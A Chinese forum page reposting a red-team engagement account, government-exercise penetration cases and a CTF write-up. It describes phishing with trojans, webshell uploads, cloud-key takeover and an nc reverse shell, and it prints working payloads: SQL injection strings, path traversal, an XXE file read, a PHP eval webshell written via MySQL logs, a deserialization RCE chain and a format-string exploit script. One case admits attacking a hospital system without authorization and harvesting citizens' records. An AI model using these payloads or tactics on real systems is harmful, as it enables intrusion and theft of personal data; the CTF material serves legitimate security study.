跳转到帖子

ISHACK AI BOT

Members
  • 注册日期

  • 上次访问

ISHACK AI BOT 发布的所有帖子

  1. 前言由客户授权的一次攻防演练,从外网钓鱼到内网遨游,也算是幸不辱命,攻击路径绘制了流程图,接下来会按照我画的攻击流程图来进行讲解,流程图如下: 外网钓鱼首先外网收集相关信息,添加微信,构造与客服业务相对 应的话术,诱导对方点击木马,过程如下图: 客服成功上线如下图: 然后对该企业的总监同样实施微信钓鱼,构造的话术为商务合作,诱导对方点击木马如下: 同样上线: 内网遨游登陆相关系统翻阅客服终端,发现密码本,成功登陆邮箱系统,发现大量内部办公邮件如下: 通过密码本登陆运营平台,发现2000w+记录如下: 同时还发现该运营系统存在SQL注入如下: 使用sqlmap获取数据库用户密码如下: 通过密码本登陆Zabbix系统如下: 发现某源码,开审!翻阅另一台终端文件时,发现了一个压缩包为install.zip,解压查看,发现为某系统源码: 语言为PHP如下: 审计源码发现该系统后台插件添加处存在任意文件上传漏洞,通过添加插件的方式对向服务器中写入webshell获取到多台服务器权限。 重点在Build()函数里 直接把请求的config数据写入到插件目录下的config.php文件中了,如下: burp构造数据包发包: 解析成功,getshell如下: 通过此0day拿下多台服务器权限如下: 掌控云上资产通过前面控制的机器,在其中一台机器中,翻阅配置文件,找到数据库账号密码,登陆数据库在其中一个表中发现了AK/SK如下: 可以接管阿里云所有系统: 拿下gitlab通过linux历史记录获取到gitlab后台权限如下 通过探测发现gitlab存在历史漏洞CVE-2021-22205,利用该漏洞获取到gitlab服务器权限 利用gitlab的redis未授权访问漏洞写入ssh密钥,获取到root权限如下: 在gitlab的代码中进行翻阅,发现禅道数据库账号密码,真香,同时也在这里提个小建议,如果进入内网并发现gitlab,第一时间拿下来,好处多多。 数据库直接修改root密码进入后台: 通过后台功能getshell如下: 征服Jenkins通过gitlab系统发现该机器存在nginx,通过查看nginx配置文件,发现对sonar\jenkins\等多个系统进行反向代理,通过在jenkins.conf文件中配置日志 获取cookie格式,获取到了jenkins用户登陆cookie如下: 使用获取到的cookie成功登陆Jenkins: 小结通过社工钓鱼撕开口子,内网转了一大圈,也获取了一些成果,咱们下期见。 转载于原文: https://forum.butian.net/share/2583
  2. 0x00 前言刚结束某地HVV,小程序作为低成本易用的信息化系统,成为HVV新型重点突破对象。以下案例均来自于小程序,供大家学习。 0x01 案例一 某政务系统1.弱口令进入后台点击小程序,进入公民办事,抓到小程序域名,访问直接是管理员后台,如下页面即为Fastadmin框架 。 一直有个坑,登录一直显示口令无效,在我要放弃的时候,点击返回上一步提醒我,您已登录,我纳闷了,发现该系统登陆操作后token会刷新,导致下一次登录必须使用上一次token,否则口令无效。因此应该是网络或系统本身有延时,导致未成功使用正确token进行登陆操作,当发现这个问题的时候我已经admin/123456登进了后台。 内包含数据近20000条公民信息,以及管理员账户几百个,且所有管理员账户中的账户名密码均为admin/123456。与地级市HVV | 未授权访问合集中的案例四系统情况类似。(码死) 2.到处都是SQL注入前台业务处如下包,debug没有关导致爆出来数据库账户名密码,这个SQL注入太明显了,但此时我处在数据库账密的喜悦中没有搞SQL注入,可是这个数据库不对外,只能本地连接,烦死了。 后台查看管理员的时候存在延时注入 3.命令执行拿下服务器和数据库既然是fastadmin,那有很多拿shell的方法,这次是用在线命令插件漏洞写入PHP Webshell,该漏洞只在1.1.0可用。 但是这个系统是二开的,根本找不到插件的地方,在网上搜罗了一下拼接找到插件页面。 目录为:/addon?ref=addtabs 那该插件的目录就应该是/addon/command?ref=addtabs,但是显示该页面不存在,我以为路由没设置,把这个禁了,直到队友在一个文章发现直接command即可访问该插件,即目录为/command?ref=addtabs 点击一键生成API文档,文件为php,标题写为木马内容即可,测试只有冰蝎马可以,以前有类似案例。 连接木马成功 通过传大马中的nc提权,反弹shell到云服务器拿到root权限。 大马执行sql语句会报错,乱码,很烦。 数据库账户密码我还记着呢,我通过自己写一个sql执行页面的php文件来连接数据库。证明我拿下数据库权限。 代码如下: <html> <head> <title>执行MySQL语句</title> </head> <body> <h1>执行MySQL语句</h1> <form method="POST" action=""> <textarea name="sql_statement" rows="5" cols="50" placeholder="请输入MySQL语句"></textarea> <br> <input type="submit" value="执行"> </form> <?php // 检查是否提交了表单 if ($_SERVER['REQUEST_METHOD'] === 'POST') { // 获取用户输入的MySQL语句 $sql_statement = $_POST['sql_statement']; // 连接MySQL数据库 $host = 'localhost'; $username = ''; $password = ''; $database = ''; $connection = mysqli_connect($host, $username, $password, $database); // 执行MySQL查询 $result = mysqli_query($connection, $sql_statement); // 检查查询结果 if ($result) { // 回显查询结果 echo '<h2>查询结果:</h2>'; while ($row = mysqli_fetch_assoc($result)) { echo ''; print_r($row); echo ''; } } else { // 显示错误消息 echo '<h2>错误:</h2>'; echo '<p>' . mysqli_error($connection) . '</p>'; } // 关闭数据库连接 mysqli_close($connection); } ?> </body> </html> 0x02 案例二 某县医院数据库1.SQL注入拿下DBA该医院的SQL注入处于公众号挂号处,当我登录进去点击挂号记录,抓到一个带病人id的包。 加了个单引号,出现报错order by 直接SQLmap跑发现跑不出来,但注入确实存在。发现asp.net框架,说明对方系统为windows。 分别指定数据库MySQL,Oracle,MSSQL。终于在MSSQL时跑出注入,且为DBA权限。 想到xp_cmdshell可以执行命令,但可惜这是HIS,人家做了防护,我无论怎么设置都无法执行命令,放弃换目标。 0x03 案例三 某中学访客系统1.未授权+信息泄露打开小程序抓包,直接抓到了所有被访人的信息,一个接口未授权访问。 还没登录就这样,登进去还了得。 登进去并添加了一个访问申请 在查看自己的访问申请记录时抓包 抓到如下链接:app/visitor/getVisitorInfo?viId=1,遍历可得到访客信息几百条,以及访客记录等。认定为平行越权,最后发现甚至是未授权访问,没有权限验证。 0x04 案例四 我打偏了这个案例比较好笑,是我在搜小程序,它弹出了差一个字的小程序,没仔细看就开始打,也是一个县医院。 这应该是疫情期间专门为核酸检测预约做的小程序。 1.平行越权+信息泄露 登录的时候如果身份证姓名不匹配是无法通过验证的,说明里面的身份证信息都是真实的,登进来的习惯性找带用户id的功能,点击就诊人列表抓包。 查到了自己的手机,身份证,名字,性别 修改id可以查看其他人的信息,共计十几万条,妥妥的平行越权。 2.平行越权的SQL注入习惯性加个单引号,直接报错,页面显示SQL错误,这不是对应上了嘛,edu-SQL注入案例分享最后一条总结,平行越权大概率存在SQL注入。但是我这打歪了,没有授权,就打住放弃了,后续移交平台整改。 原文链接: https://forum.butian.net/share/2400
  3. 一、MISC 1.sudoku_easy 简单的数独交互,几个小注意点,每次发送level之后sleep5秒才会返回题目 将形如 --------------------- 800103720 023840650 410006008 300001062 000052407 072060090 160000375 205019846 000030000 --------------------- 转换成二维数组进行解数独,并将返回结果重新转换成多行字符串形式 def parse_input(input_list): board = [] for row in input_list: nums = list(map(int, row)) board.append(nums) return board def format_output(board): formatted = "" for row in board: formatted += "".join(map(str, row)) + "\n" return formatted.strip() 一开始以为每次获得5分,要拿到120分,range了24次,一直出问题,后来发现获得分数是递增的,同时调试了一下发现拿到120分会返回一个getshell,因此修改一下range7次 最终脚本: def find_empty(board): for row in range(9): for col in range(9): if board[row][col] == 0: return row, col return None def is_valid(board, num, pos): row, col = pos for i in range(9): if board[row][i] == num and col != i: return False if board[i][col] == num and row != i: return False box_row = row // 3 box_col = col // 3 for i in range(box_row * 3, box_row * 3 + 3): for j in range(box_col * 3, box_col * 3 + 3): if board[i][j] == num and (i, j) != pos: return False return True def solve(board): find = find_empty(board) if not find: return True else: row, col = find for i in range(1, 10): if is_valid(board, i, (row, col)): board[row][col] = i if solve(board): return True board[row][col] = 0 return False def parse_input(input_list): board = [] for row in input_list: nums = list(map(int, row)) board.append(nums) return board def format_output(board): formatted = "" for row in board: formatted += "".join(map(str, row)) + "\n" return formatted.strip() # input_string = '''--------------------- # 800103720 # 023840650 # 410006008 # 300001062 # 000052407 # 072060090 # 160000375 # 205019846 # 000030000 # --------------------- # now give me you solve:''' # lists=input_string.split('\n')[1:10] # board = parse_input(lists) # print(board) # solve(board) # print(board) from pwn import * # 创建连接 conn = remote('47.108.165.60',27539) # 接收欢迎信息 for i in range(7): msg = conn.recvuntil("Please input:").strip().decode("utf-8") print(msg) # 发送选择 conn.sendline('1'.encode()) # 接收下一步提示 msg = conn.recvuntil("Please select the level:").strip().decode("utf-8") print(msg) conn.sendline('5'.encode()) msg = conn.recvuntil("clock start").strip().decode("utf-8") print(msg) time.sleep(5) msg = conn.recvuntil("now give me you solve:").strip().decode("utf-8") print(msg) lists = msg.split('\n')[1:10] board = parse_input(lists) solve(board) solved = format_output(board) conn.sendline(solved.encode()) conn.interactive() 或者 from pwn import * def is_valid(board, row, col, num): # 检查行是否合法 for i in range(9): if board[row][i] == num: return False # 检查列是否合法 for i in range(9): if board[i][col] == num: return False # 检查小九宫格是否合法 start_row = (row // 3) * 3 start_col = (col // 3) * 3 for i in range(3): for j in range(3): if board[start_row + i][start_col + j] == num: return False return True def solve_sudoku(board): for row in range(9): for col in range(9): if board[row][col] == 0: for num in range(1, 10): if is_valid(board, row, col, num): board[row][col] = num if solve_sudoku(board): return True board[row][col] = 0 # 回溯 return False # 所有数字都尝试过,没有找到合适的数字 return True def print_sudoku(board): a = '' for row in range(9): for col in range(9): a += str(board[row][col]) a+='\n' return a.strip() context.log_level = 'debug' p = remote('47.108.165.60',23479) p.recv() for i in range(7): p.sendline('1') p.recvuntil('Please select the level:') p.sendline('5') a = '---------------------\nnow give me you solve:' content = p.recvuntil(a).decode().split(a)[0][-130:] sudoku = content.split('---------------------')[1] sudoku = sudoku.strip() sudoku = sudoku.split('\n') tmp = [] for sudo in sudoku: a = [int(s) for s in sudo] tmp.append(a) if solve_sudoku(tmp): result = print_sudoku(tmp) log.info(result) for line in result.split('\n'): p.send(line) #content = p.recv().decode() p.interactive() 单独的数独解密脚本: class SudoKu(): def __init__(self, sudo_ku_data): if not isinstance(sudo_ku_data, list): raise TypeError(f'sudo_ku_data params must a list, but {sudo_ku_data} is a {type(sudo_ku_data)}') if len(sudo_ku_data) != 9 or len(sudo_ku_data[0]) != 9: raise TypeError( f'sudo_ku_data params must a 9*9 list, but {sudo_ku_data} is a {len(sudo_ku_data)}*{len(sudo_ku_data[0])} list') self.sudo_ku = sudo_ku_data # 存放每一行已有的数据 self.every_row_data = {} # 每一列已有的数字 self.every_column_data = {} # 每一个3*3有的数字 self.every_three_to_three_data = {} # 每一个空缺的位置 self.vacant_position = [] # 每一个空缺位置尝试了的数字 self.every_vacant_position_tried_values = {} # 初始化数据 self._init() def _add_row_data(self, row, value): ''' 初始化的时候 添加数据到self.every_row_data中 :param row: :param value: :return: ''' if row not in self.every_row_data: self.every_row_data[row] = set() if value in self.every_row_data[row]: raise TypeError(f'params {self.sudo_ku} is a invalid SudoKu') self.every_row_data[row].add(value) def _add_column_data(self, column, value): ''' 初始化的时候 添加数据到self.every_column_data中 :param column: :param value: :return: ''' if column not in self.every_column_data: self.every_column_data[column] = set() if value in self.every_column_data[column]: raise TypeError(f'params {self.sudo_ku} is a invalid SudoKu') self.every_column_data[column].add(value) def _get_three_to_three_key(self, row, column): ''' 得到每一个3*3的key :param row: :param column: :return: ''' if row in [0, 1, 2]: if column in [0, 1, 2]: key = 1 elif column in [3, 4, 5]: key = 2 else: key = 3 elif row in [3, 4, 5]: if column in [0, 1, 2]: key = 4 elif column in [3, 4, 5]: key = 5 else: key = 6 else: if column in [0, 1, 2]: key = 7 elif column in [3, 4, 5]: key = 8 else: key = 9 return key def _add_three_to_three_data(self, row, column, value): ''' 初始化的时候 添加数据到self.every_three_to_three_data中 :param row: :param column: :param value: :return: ''' key = self._get_three_to_three_key(row, column) if key not in self.every_three_to_three_data: self.every_three_to_three_data[key] = set() self.every_three_to_three_data[key].add(value) def _init(self): ''' 根据传入的数独,初始化数据 :return: ''' for row, row_datas in enumerate(self.sudo_ku): for column, value in enumerate(row_datas): if value == '': self.vacant_position.append((row, column)) else: self._add_row_data(row, value) self._add_column_data(column, value) self._add_three_to_three_data(row, column, value) def _judge_value_is_legal(self, row, column, value): ''' 判断方放置的数据是否合法 :param row: :param column: :param value: :return: ''' # value是否存在这一行数据中 if value in self.every_row_data[row]: return False # value是否存在这一列数据中 if value in self.every_column_data[column]: return False # value是否存在这个3*3的宫内 key = self._get_three_to_three_key(row, column) if value in self.every_three_to_three_data[key]: return False return True def _calculate(self, vacant_position): ''' 计算,开始对数独进行放置值 :param vacant_position: :return: ''' # 得到当前位置 row, column = vacant_position values = set(range(1, 10)) # 对当前为位置创建一个唯一key,用来存放当前位置已经尝试了的数据 key = str(row) + str(column) # 如果这个key存在,就对values进行取差集,因为两个都是集合(set),直接使用-就行了 if key in self.every_vacant_position_tried_values: values = values - self.every_vacant_position_tried_values[key] # 如果这个key不存在,就创建一个空的集合 else: self.every_vacant_position_tried_values[key] = set() for value in values: # 对当前数据添加到当前位置尝试过的的数据中 self.every_vacant_position_tried_values[key].add(value) # 如果当前value合法,可以放置 if self._judge_value_is_legal(row, column, value): # print(f'set {vacant_position} value is {value}') # 更新 判断数据合法时 需要使用到的数据 self.every_column_data[column].add(value) self.every_row_data[row].add(value) key = self._get_three_to_three_key(row, column) self.every_three_to_three_data[key].add(value) # 修改这个位置的值为value self.sudo_ku[row][column] = value # 返回True 和填充的 value return True, value return False, None def _backtrack(self, current_vacant_position, previous_vacant_position, previous_value): ''' 回溯 :param current_vacant_position: 当前尝试失败的位置 :param previous_vacant_position: 上一次成功的位置 :param previous_value:上一次成功的值 :return: ''' # print(f"run backtracking... value is {previous_value},vacant position is {previous_vacant_position}") row, column = previous_vacant_position # 对上一次成功的值从需要用到的判断的数据中移除 self.every_column_data[column].remove(previous_value) self.every_row_data[row].remove(previous_value) key = self._get_three_to_three_key(row, column) self.every_three_to_three_data[key].remove(previous_value) # 并且上一次改变的的值变回去 self.sudo_ku[row][column] = '' # 对当前尝试失败的位置已经城市失败的的值进行删除,因为回溯了,所以下一次进来需要重新判断值 current_row, current_column = current_vacant_position key = str(current_row) + str(current_column) self.every_vacant_position_tried_values.pop(key) def get_result(self): ''' 得到计算之后的数独 :return: ''' # 空缺位置的长度 length = len(self.vacant_position) # 空缺位置的下标 index = 0 # 存放已经尝试了的数据 tried_values = [] # 如果index小于length,说明还没有计算完 while index < length: # 得到一个空缺位置 vacant_position = self.vacant_position[index] # 计入计算函数,返回是否成功,如果成功,value为成功 的值,如果失败,value为None is_success, value = self._calculate(vacant_position) # 如果成功,将value放在tried_values列表里面,因为列表是有序的. # index+1 对下一个位置进行尝试 if is_success: tried_values.append(value) index += 1 # 失败,进行回溯,并且index-1,返回上一次的空缺位置,我们需要传入当前失败的位置 和 上一次成功的位置和值 else: self._backtrack(vacant_position, self.vacant_position[index - 1], tried_values.pop()) index -= 1 # 如果index<0 了 说明这个数独是无效的 if index < 0: raise ValueError(f'{self.sudo_ku} is a invalid sudo ku') # 打印计算之后的数独 self.show_sudo_ku() return self.sudo_ku def show_sudo_ku(self): ''' 显示数独 :return: ''' for row in self.sudo_ku: for b in row: print(str(b), end="") print() # print(row) # 原本 ################################################## # 用来判断最后计算的数独是否合法,和计算没有关系 # ################################################## def judge_value_is_legal(row, column, value, sudo_ku): # column for i in range(0, 9): if row == i: continue if value == sudo_ku[i][column]: return False # row for i in range(0, 9): if column == i: continue if value == sudo_ku[row][i]: return False # three_to_three for i in range(row // 3 * 3, row // 3 * 3 + 3): for j in range(column // 3 * 3, column // 3 * 3 + 3): if i == row and j == column: continue if value == sudo_ku[i][j]: return False return True def judge_sudo_ku_is_legal(sudo_ku): for row, row_values in enumerate(sudo_ku): for column, value in enumerate(row_values): if not judge_value_is_legal(row, column, value, sudo_ku): return False return True if __name__ == '__main__': data = """450706200 200000048 000408060 085290006 602003950 700600830 500040680 900300100 821065073""" sudo1 = data.split('\n') sudo_ku_data = [list(s) for s in sudo1] for i in sudo_ku_data: for b in range(len(i)): if i[b] != '0': i[b] = int(i[b]) else: i[b] = '' # 得到计算好的数独 sudo_ku = SudoKu(sudo_ku_data).get_result() # 判断最后生成的数独是否是有效的 # print(judge_sudo_ku_is_legal(sudo_ku)) 2.烦人的压缩包 打开压缩包要密码,爆破密码645321 jpg文件尾压缩包 提取出来直接解压提示crc报错 修复压缩包的crc 解开后ook解密 https://www.splitbrain.org/services/ook 3.sudoku_speedrun 小小升级版数独,telnet交互: kali :: ~ 127 » telnet 47.108.165.60 37569 Trying 47.108.165.60... Connected to 47.108.165.60. Escape character is '^]'. Ubuntu 22.04.2 LTS Welcome to Play Sudoku Game! Play(1) Exit(2) Please input > 1 Tips: R to replay Q to exit WASD to move You have 10000ms to solve it :) Please select the level easy(5) normal(6) hard(7) >5 这次需要解出之后通过移动光标将数独还原 其实大差不差,这里主要几个点 题目用了ANSI转义码,读取数据时会有大量的乱码,需要replace掉 response=response.replace(b'\x1b[7;32m',b'').replace(b'\x1b[0m',b'').replace(b'\x1b[1;32m',b'').replace(b'\x1b[H\x1b[2J',b'') 这里我为方便采用了在每一行右移填补到最后之后,往下再重新左移到最左边,再开始下一行的右移填补,而不是用左移填补导致需要倒着索引,略微增加了时间复杂度 def solve(input_string): original_board = parse_input(input_string)# 创建原始数组的副本 board_copy = [row[:] for row in original_board] solution = solve_sudoku(original_board) # print(board_copy) # print(solution) lists=[] for i in range(9): for j in range(9): if board_copy[i][j] == 0: lists.append(str(solution[i][j])) if j != 8: lists.append('d') lists.extend('saaaaaaaa') # print(f"索引为 ({i}, {j}) 的位置,填入数字 {solution[i][j]}") return lists 读取到形如 ‘’’ ------------------------- | 4 3 0 | 0 0 6 | 2 0 0 | | 8 0 0 | 0 7 0 | 0 0 3 | | 2 0 7 | 0 5 0 | 1 4 6 | ------------------------- | 0 0 0 | 0 0 0 | 0 7 5 | | 7 5 0 | 8 0 0 | 6 2 0 | | 0 2 9 | 7 3 5 | 0 1 0 | ------------------------- | 5 6 0 | 4 0 3 | 0 9 0 | | 0 0 2 | 5 0 0 | 8 0 0 | | 3 0 1 | 0 8 2 | 0 6 4 | -------------------------’’’ 转二维数组 def parse_input(input_string): rows = input_string.strip().split('\n') board = [] for row in rows: row = row.replace('-', '').replace('|', '').split() nums = [int(num) if num != '0' else 0 for num in row] if nums!=[]: board.append(nums) return board 经过尝试后发现只要发送数组服务器便会执行移动与填充操作,例如发送[‘d’,‘d’,‘1’]光标会右移两个单位并填入1 最终脚本: import telnetlib def solve_sudoku(board): if is_complete(board): return board row, col = find_empty_cell(board) for num in range(1, 10): if is_valid(board, row, col, num): board[row][col] = num if solve_sudoku(board): return board board[row][col] = 0 return None def is_complete(board): for row in board: if 0 in row: return False return True def find_empty_cell(board): for i in range(9): for j in range(9): if board[i][j] == 0: return i, j return None, None def is_valid(board, row, col, num): # Check row if num in board[row]: return False # Check column for i in range(9): if board[i][col] == num: return False # Check 3x3 box box_row = (row // 3) * 3 box_col = (col // 3) * 3 for i in range(box_row, box_row + 3): for j in range(box_col, box_col + 3): if board[i][j] == num: return False return True def parse_input(input_string): rows = input_string.strip().split('\n') board = [] for row in rows: row = row.replace('-', '').replace('|', '').split() nums = [int(num) if num != '0' else 0 for num in row] if nums!=[]: board.append(nums) return board def solve(input_string): original_board = parse_input(input_string)# 创建原始数组的副本 board_copy = [row[:] for row in original_board] solution = solve_sudoku(original_board) # print(board_copy) # print(solution) lists = [] for i in range(9): for j in range(9): if board_copy[i][j] == 0: lists.append(str(solution[i][j])) if j != 8: lists.append('d') lists.extend('saaaaaaaa') # print(f"索引为 ({i}, {j}) 的位置,填入数字 {solution[i][j]}") return lists tn = telnetlib.Telnet('47.108.165.60',36697) welcome_msg = tn.read_until(b"Please input") print(welcome_msg.decode("utf-8")) # 发送返回值到服务器 tn.write("1".encode("utf-8") + b"\n") msg = tn.read_until(b"hard(7)") print(msg.decode("utf-8")) tn.write("5".encode("utf-8") + b"\n") msg = '' for i in range(15): response = tn.read_until(b"\n") # print((response)) response = response.replace(b'\x1b[7;32m',b'').replace(b'\x1b[0m',b'').replace(b'\x1b[1;32m',b'').replace(b'\x1b[H\x1b[2J',b'') msg += response.decode().strip('> 5') tn.write(str(solve(msg)).encode("utf-8") + b"\n") tn.interact() 或者脚本: def solve_sudoku(puzzle): # 辅助函数:检查数字num是否可以放置在指定位置(row, col) def is_valid(num, row, col): # 检查行 for i in range(9): if puzzle[row][i] == num: return False # 检查列 for i in range(9): if puzzle[i][col] == num: return False # 检查3x3方格 start_row = (row // 3) * 3 start_col = (col // 3) * 3 for i in range(3): for j in range(3): if puzzle[start_row + i][start_col + j] == num: return False return True # 辅助函数:回溯求解数独 def backtrack(): for row in range(9): for col in range(9): if puzzle[row][col] == 0: # 找到一个空格 for num in range(1, 10): # 尝试数字1-9 if is_valid(num, row, col): puzzle[row][col] = num # 填入数字 if backtrack(): # 递归求解 return True puzzle[row][col] = 0 # 回溯,撤销选择 return False return True # 将输入的字符串转换成二维列表 puzzle = [[int(puzzle[i * 9 + j]) for j in range(9)] for i in range(9)] # 调用回溯函数求解数独 if backtrack(): # 将二维列表转换回字符串 solution = ''.join(str(puzzle[i][j]) for i in range(9) for j in range(9)) return solution else: return "No solution found." # # 输入数独题目 # puzzle_input = "002506008160080500000070601006030075325090164070620000207041800010807340850003019" # # # 解答数独题目 # solution = solve_sudoku(puzzle_input) # # # 输出结果 # print(solution) from pwn import * context.log_level="debug" p = remote('47.108.165.60',32449) p.recvuntil(b'> ') p.sendline(b'1') p.recvuntil(b'> ') p.sendline(b'7') p.recv() s = p.recv() s = s.replace(b'\x1b[7;32m',b'').replace(b'\x1b[1;32m',b'').replace(b'\x1b[0m',b'').replace(b'\r\n',b'').replace(b'|',b'').replace(b' ',b'').replace(b'-',b'').replace(b'\x1b[H\x1b[2J',b'').decode() # print(s) solution = solve_sudoku(s) # print(solution) flag = '' for i in range(9): for j in range(9): if(s[i*9+j] != '0'): flag += 'd' else: flag += solution[i*9+j] flag += 'd' flag = flag[:-1] flag += 'saaaaaaaa' print(flag) flag = flag.encode() p.sendline(flag) r = p.recvall(100000) print(r.decode()) print(s) print(solution) 4.cancellation 题目得到noise.mp4,意外的发现用windows media player播放可以读到一串sstv 结合file用Matroska打包猜测应该是mkv文件 用mkvtool发现确实有多个音频轨道 mkvextract.exe提取出来两个音频(轨道是从0开始的,mkvtool里的轨道编号从1开始的) 轨道3可以读到一张图 轨道2可以读到一个模糊无法识别的二维码,仔细观察可以发现背景图似乎就是轨道3读到的图 在测试过程中发现在一定位置挂上notch之后,可以读到很清晰的后半边的二维码,左半边变得更加模糊了,但却更加清晰的显示出背景图,明显就是轨道3的图 再结合题目名,大胆猜测轨道2的sstv做了一个叠加处理,尝试几次后2*轨道2-轨道3可以扫描出正确的图像(这里放完整二维码图片会被csdnban掉) import librosa import soundfile as sf import numpy as np audio1, sr1 = librosa.load('2.wav', sr=None) audio2, sr2 = librosa.load('3.wav', sr=None) result = 2*audio1-audio2 sf.write('result.wav', result, sr1) 或者脚本: from scipy.io import wavfile import numpy as np # 加载两个音频文件 rate1, audio1 = wavfile.read('output1.wav') rate2, audio2 = wavfile.read('output2.wav') # 确保两个音频的采样率相同,如果不同,进行重新采样 if rate1 != rate2: # 重新采样audio2为与audio1相同的采样率 audio2 = np.interp(np.linspace(0, len(audio2), len(audio1)), np.arange(len(audio2)), audio2).astype(audio1.dtype) # 确保两个音频的长度相同,如果不同,进行裁剪或填充 length = min(len(audio1), len(audio2)) audio1 = audio1[:length] audio2 = audio2[:length] # 音频相减 result = audio1 - audio2//2 # 保存为新的音频文件 wavfile.write('output_diff.wav', rate1, result) 扫描的结果解base64得到图片 拿到flag 二、web 1.go题目 注册用户登录进去 categories这里随便加一个 新建一个task 放到里面 然后在search那里注入,这里解释下为什么会这样 stmt := "select t.id, title, content, created_date, priority, c.name from task t, category c where t.user_id=? and c.id = t.cat_id and (title like '%" + query + "%' or content like '%" + query + "%') order by created_date desc" 这里是直接query没任何限制,直接注入就行了,但是调试的时候没添加priority这个字段,导致查询一直错误,没调试出来真的可惜。 然后到这里就很明了构造闭合,直接去查询数据。 select t.id, title, content, created_date, priority, c.name from task t, category c where t.user_id=? and c.id = t.cat_id and (title like '%1') union select 1,email,3,4,5,username from user -- %' or content like '%1') union select 1,email,3,4,5,username from user -- %') order by created_date desc 然后题目数据库里面有个 oss的桶,这里环境没了没法继续了。 1') union select 1,url,3,4,secretId ,secretKey from secret -- + 查询出来登录拿flag就行了。 2.CarelessPy 打开环境,可以发现有两个接口,一个是eval,另一个是login处 访问eval路径,可知get请求访问,且cmd传参,要任意读取part.cpython-311.pyc文件,但是不知道具体路径。 存在文件下载漏洞,构造Payload: /download?file=../../../../../etc/passwd 下载成功 /download?file=../../../../../proc/1/environ 下载失败 构造去下载提示的start.sh /download?file=../../../../../start.sh 得到文件内容,app目录下 存在 part.py文件。 继续构造下载pyc文件/download?file=../../../../../../../app/__pycache__/part.cpython-311.pyc 或者/eval?cmd=app/__pycache__/ 使用在线工具进行反编译,得到session的key 然后对session进行伪造 构造session去登录,获得路由 登录成功 一看就是XML注入 <?xml version="1.0" ?><!DOCTYPE message [ <!ENTITY shell SYSTEM "file:///flag"> ]> <result><ctf>杂鱼~</ctf><web> &shell; </web></result> #SYCTF{COrReCt_AN5w3r_fa0efe410508} 3.Confronting robot 方法一: 打开网页发现存在sql注入 直接sqlmap跑 payload:sqlmap -u "http://x.x.x.x:34918/?myname=aaa" -D robot_data -T name --columns --dump 得到路由/sEcR@[email protected] 在该页面可以通过POST传入code直接执行Sql语句 使用sqlmap跑mysql.user的数据表查看一下权限,发现当前用户拥有Super_priv的权限,但是没有其他可以利用权限。但是root用户存在所有权限 解题思路:修改'root'@'::1'为'secret'@'%',然后把'secret'@'localhost'随便修改一个名字,这样链接的数据库就拥有root权限了。需要注意的是密码也需要改成和secret相同。 把secret密码dump下来 首先修改root的密码, payload:alter user 'root'@'127.0.0.1' identified by PASSWORD '*C4809B442CD41D91C25BAEA070D00FF39A87190D'; 查询是否修改成功 在继续把'root'@'127.0.0.1'修改成'secret'@'%' payload:rename user 'root'@'127.0.0.1' to 'secret'@'%'; 然后把'secret'@'localhost'修改成任意名字即可 payload:rename user 'secret'@'localhost' to 'aaa'@'%'; 最后直接读取game.php文件,获得flag SYCTF{RObOt_r0B07_3599ec7eac28} 方法二: 参数myname存在SQL注入,SQLMAP直接跑 得到路由/sEcR@[email protected],该路由可以直接调用数据库执行SQL 看题意要猜拳 10 把正确,才能获取 flag,同时还有另一个注入点,测试插入数据失败。测试了一下日志 getshell 成功,非预期 SHOW VARIABLES LIKE '%general%'; set global general_log = "ON"; set global general_log_file='/var/www/html/sEcR@[email protected]'; select "<?php eval($_POST['pass']);?>"; 然后直接select记录一次马即可shell 蚁剑连接game.php得到flag 4.4号的罗纳尔多 一个反序列化,两个关键点要绕,第一个可以通过 php 内置类 splstack 绕过匹配 O 开头的序列化数据;第二个可以通过__halt_compiler();来结束 php 代码执行流程,绕过givemegirlfriend!字符串的影响。 <?php class evil{ public $cmd; public $a; } $evilClass = new evil(); $evilClass->cmd = 'system(next(getallheaders()));__halt_compiler();'; $a = new SplStack(); $a -> push($evilClass); echo serialize($a); 三、Pwn 1.harde_pwn 第一步:溢出seed为固定值,这样的话就变成了伪随机。 第二步:用格式化字符串漏洞泄露libc和程序基地址。 第三步:用格式化字符串漏洞打heap_fmt函数运行时候rbp下面的返回地址为onegadgets。 第四步:用格式化字符串漏洞打heap_fmt函数中read函数的返回地址为leave ret。 第五步:get shell。 POC: from pwn import * p = process('./pwn') elf = ELF('./pwn') libc = ELF('./libc.so.6') context(os='linux',arch='amd64',log_level='debug') def duan(): gdb.attach(p) pause() rand = [1804289348,846930915,1681692750,1714636888,1957747830,424238300,719885423,1649760457,596516622,1189641450,1025202335,1350490000,783368663,1102520032,2044897736,1967513955,1365180505,1540383463,304089201,1303455709,35005248] p.recvuntil('game!\n') payload = b'a'*(0x20-0x4)+p32(0) p.send(payload) for i in range(21): p.sendlineafter('input: \n',str(rand[i])) p.recvuntil('Success!\n') p.recvuntil('ata ;)\n') payload = 'aaaa%3$pbbbb%15$p' p.send(payload) p.recvuntil('aaaa') libc_base = int(p.recv(14),16)-1132946 p.recvuntil('bbbb') stack = int(p.recv(14),16) print('stack-->'+hex(stack)) print('libc_base-->'+hex(libc_base)) temp = stack-320+0x20 temp = str(hex(temp)[-4:]) print('temp-->'+temp) payload = '%'+str(int(temp,16))+'c%15$hnaaaaaaaa\x00' p.send(payload) p.recvuntil('aaaaaaaa') og = [0xebcf1,0xebcf5,0xebcf8] shell = libc_base+og[1] payload = '%'+str(int(hex(shell)[-4:],16))+'c%45$hnabccba' p.send(payload) p.recvuntil('abccba') payload = '%'+str(int(temp,16)+2)+'c%15$hnaaaaaaaa\x00' p.send(payload) p.recvuntil('aaaaaaaa') payload = '%'+str(int(hex(shell)[-8:-4],16))+'c%45$hnabccba' p.send(payload) p.recvuntil('abccba') payload = '%'+str(int(temp,16)+4)+'c%15$hnaaaaaaaa\x00' p.send(payload) p.recvuntil('aaaaaaaa') payload = '%'+str(int(hex(shell)[-12:-8],16))+'c%45$hnabccba' p.send(payload) p.recvuntil('abccba') payload = 'aaaa%13$p\x00' p.send(payload) p.recvuntil('aaaa') pie = int(p.recv(14),16)-0x1502 print('pie-->'+hex(pie)) print('shell-->'+hex(shell)) gongji = pie+0x1366 temp = stack-320+0x20-0x20 temp = str(hex(temp)[-4:]) payload = '%'+str(int(temp,16))+'c%15$hnaaaaaaaa\x00' p.send(payload) p.recvuntil('aaaaaaaa') payload = '%'+str(int(hex(gongji)[-4:],16))+'c%45$hnabccba' p.send(payload) p.recvuntil('abccba') p.interactive() 或者脚本: #coding:utf-8 import sys from pwn import * from ctypes import CDLL context.log_level='debug' elfelf='./harde_pwn' #context.arch='amd64' while True : # try : 